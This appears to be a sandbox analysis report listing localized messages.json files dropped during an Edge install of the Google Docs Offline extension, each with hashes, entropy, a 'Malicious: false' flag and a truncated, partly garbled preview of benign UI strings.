C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
